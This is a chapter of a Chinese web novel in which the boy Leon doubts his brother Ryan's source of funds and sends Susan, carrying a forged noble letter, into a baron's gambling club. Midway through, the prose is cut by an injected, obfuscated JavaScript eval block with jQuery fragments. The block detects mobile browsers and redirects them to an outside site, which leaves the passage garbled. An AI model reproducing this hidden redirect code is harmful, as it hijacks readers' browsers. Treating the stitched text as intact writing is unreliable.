“刚才那位是——”里昂开口询问。


    “没什么。”莱恩极快地打断他试图进一步询问的苗头，他的语气较之寻常的平和更为急促，像是某种应激一般的状态，又似乎正在努力地遮掩着什么。


    里昂并未再继续询问。


    “抱歉——”莱恩自己却像是反应过来什么一般，他略带歉意地看着面前的弟弟。“刚才那……只是个和破镐会有所交易往来的贵族，你知道，组织的运作经费主要来自于货品交易，他对组织的货品很感兴趣，毕竟有些东西只产自于中位区。”


    中位区的货品……？


    破镐会所经营的中位区货品多半都是些高位区贵族瞧不上的玩意，他们冒着巨大的风险将这些货品从危险的断崖上运输上来，以更加低廉的价格批量售卖给那些被纳入高位区工作的人并赚取差价，毕竟，如果走维序者的正规通道进入高位区，需要缴纳昂贵的关税——而这些关税，则会被供应于贵族的俸禄。


    钱从底层的人手中流出，转了一圈，最终汇聚到了贵族的手中。


    切实在安德拉家族里生活的里昂比谁都清楚，以布莱兹男爵为例的，大面上的贵族根本就看不上他这位病弱兄长搞得这些小买卖。


    既如此，维蒙家族与莱恩之间的交易，恐怕——


    里昂面色阴沉，他的眸色稍暗。


    他倒是曾经听闻过这样的事：那位维蒙家族的男爵，在私底下是个喜好貌美少年的龌龊之人。


    ——难怪莱恩能够在如此简陋的条件下，仍然保持着破镐会的正常运作。


    又难怪伴随着周边偷渡者组织的兴起，这块流落在高位区边缘的废弃场，仍然能够安然无恙地存续下去。


    莱恩在欺骗他。


    “喂喂，这些物质看起来可不便宜呢。”就在这时，边上的马上到吹了一声口哨，他吊儿郎当地靠近羊车的附近，用手撩起羊车上虚掩着的帘布，目光落在上头琳琅满目的货物上。“上好的棉花、米、肉……哇哦，还有如此漂亮的布匹。”


    他从里头抽出一块花纹繁复精美的绸缎，冲莱恩所在的方向比划了一下。


    “首领，这花色还真衬你。”他抬高声音道。“这么一车物质，弟兄们又能撑几个月啦。”


    “这家伙——”苏珊气不打一处来。


    “苏珊。”莱恩一把拉住她的手——他的指尖微微用力，眼底却是冰冷一片，缓慢地摇了摇头。“马上到什么都不知道，你不必和他计较。”


    仅仅只是短暂的僵持，苏珊不甘地松了力道。


    “大家。”莱恩上前一步，他抬高了声音，引得两侧的破镐会成员们目光向他的身上聚集。“按需领取物资，三人一袋米，五人一袋棉，肉量较少，一会儿煮熟之后我会请苏珊和巫婆分给大家，人均有份，抢夺者不得领取。”


    他的话音刚落，周围的人们便都冲着他跪拜下来，


    “谢谢首领！”


    “莱恩首领，我一辈子都不会忘记你的！”


    “莱恩首领真是厉害，这么好的资源，就算去抢都抢不到……”


    ……


    里昂站在石屋屋檐的阴影之下，他的目光落在人群中正扶起跪拜在地老人的莱恩身上，神山漆黑的天幕折射几缕流光下来，披落在他的身上，衬得他宛若救苦救难的圣子。


    黑夜之中，他微微抿唇，眸色渐深。


    ++


    三日后。


    “帕特里奇·维蒙，42岁。”


    空荡的巷子里，少年稚拙的声音响起。


    “维蒙家族的当家男爵，统辖着接近废弃场在内周边势力范围的领土。”


    他顿了顿。


    “而谁又能想到，其旗下的商贸会所，实则为他物色和挑选貌美玩物的预选场，同时，也是各类见不得光的地下交易会所。”


    “你究竟想要我做什么？”


    会场之外隔了数条街区的位置，苏珊面色难堪地抱着一身兔女郎的衣服看着面前身高才到她胸口的里昂，以及此刻正站立在少年身旁的，比之里昂还要矮上半个头的巫婆。


    高位区的第一声钟鸣已然过了半晌，春夏之交的高位区街道上零散地漂浮着几朵成型的白色云朵，偶有几辆羊车带着滚动车轱辘转动着路过他们所在的位置。


    “很简单。”里昂开口。“这里是维蒙男爵的商贸会所，同时也是贵族们赌博的私场，我要你伪装成其他贵族的使者，将他们在此地周转的资金全数赢回。”


    “你疯了。”苏珊嘲讽地开口。“贵族进入这里需要能够证明身份的凭证，何况就算对弈坐庄，先不提我对他们的对弈规则一窍不通，我们也没有下场的筹码。”


    “何况——”苏珊的目光落到里昂身旁披着亚麻色斗篷沉默不语的小女孩身上，她抿了抿唇，眸底带上几分警惕之色。“你不该将巫婆带来这儿的，这孩子的力量太过于危险——何况，她就连话都不会说，不过是个孩子！”


    她这话刚刚落下，像是才意识到站在自己面前的里昂同样也不过才是个12岁的孩子一般，苏珊又诡异的稍稍停顿了片刻——


    说实话，都怪面前的少年时常表现的过于成熟，以至她真意识不到这一点。


    “——里昂.怀特索恩，你除外。”苏珊悻悻地补了一句。


    里昂：“……。”


    巫婆沉默地伫立着，她的半边脸隐藏在阴影之中，对于两人的争论毫无反应。


    片刻后，像是放弃挣扎一般，里昂叹息一声。


    “是巫婆主动来找我的。”他道。“关于一会儿的行动，她能够帮得上忙。”


    “帮得上忙？”苏珊。


    “巫婆有能力实现远距离的加密通讯。”里昂道。


    苏珊一怔，看向巫婆。


    巫婆没有反应——她从来都是这样，对什么都不反应。但苏珊知道，这孩子能做很多正常人做不到的事。


    苏珊不确定自己信不信这种事。


    但此刻，她没得选。


    “我没打算一次就成功，先前说的是最终的计划。”里昂看着她。“你只要能够混进去，将他们的游戏规则弄清楚，再传递给我即可。”


    他顿了顿，语气笃定。


    “破镐会如今


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250234|197145||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    需要资金，需要可靠的渠道运作。”


    “还是说——”里昂的语气中带上几分嘲讽。“你想让莱恩一直——”


    “够了！”苏珊失言出声，她沉着面色盯着面前的少年看了一会儿，半晌，才终于确认一般地出声询问。“……你的胜算有多少？”


    “那要等到你能将信息给到我——”里昂的目光落在会所门内那片幽深的黑暗之中。“我才能告诉你。”


    “只是——”少年的半边面孔被街边的山髓灯照亮，他清冷的面庞上透出超越年龄的成熟。“如若失败了，我承诺，我会与你一起下地狱。”


    真是疯了。


    苏珊想。


    看着面前这个12岁的孩子，她竟然莫名地生出一股意图信任对方的冲动。


    “这家会所的招牌启示一直粘贴在外，要求是年轻漂亮的女性，年龄在28岁以下，姑且先确认一下，你的年纪是多少岁？”里昂翻着手中的资料笔记本，从里头抽出一张被他小心折叠起来的招聘叶纸递给面前的女人。


    短暂的，片刻的，突如其来的沉默。


    “……。”苏珊。“30。”


    里昂：“……。”


    他诡异的停顿了一下。


    “30？！”他的语气中带上几分明显的诧异。


    “看着显年轻，不行吗？”苏珊有些绷不住了。“长了一张娃娃脸真是对不起哈。”


    “……问题不大。”短暂的语塞过后，里昂冷静下来，他从斗篷下方的口袋里掏出一张质地精美的信纸。


    “这是能够验明贵族身份的凭证——印有克伦威尔家徽的信函。”


    “克伦威尔家——？”苏珊接过他递过来的信函，她的目光落在上头用娟秀金纹雕刻的月光藤纹上。“你怎会有这东西？”


    “安德拉家族与克伦威尔家素来交好。”里昂。“得到这东西对我来说不过是举手之劳。”


    ——说起来，这还得要归功于卡莉庞大的人脉圈子。


    她时常与各类伯爵家族往来，是以不光是艾德里安所在的沃尔登家族，乃至于其他贵族府上的千金都会不时地往返送礼，而贵族间往来的信函往往印有各自家族的族徽，用以表达自己对对方情谊的重视。


    “这原本是克伦威尔家送给安德拉家族礼物的请柬，被我改成了寄给维蒙家族的介绍信。”里昂解释道。“上头具体的内容是我找黑猫改的，以他的手艺，费不了多大工夫。”


    “黑猫？”苏珊拿过他手中的信函靠在山髓灯下看了看，那信函上的文字笔迹流畅，不似作伪。“以他的能力，确实不用担心。”


    她缓缓攥紧手中的信纸，周身的气息低落下去，似在压抑着些什么——许是不确信的恐惧，亦或者是不甘的愤怒。


    里昂没有说话，他只是安静地等候着她作出决定。


    片刻之后，苏珊缓缓抬起头来。


    “我去了。”她突然道。


    苏珊便拿着手中的服饰和信函走出他们藏身的小巷，里昂注视着她逐步离开的背影，脑海中回闪过莱恩苍白的面容。


    计划，开始了。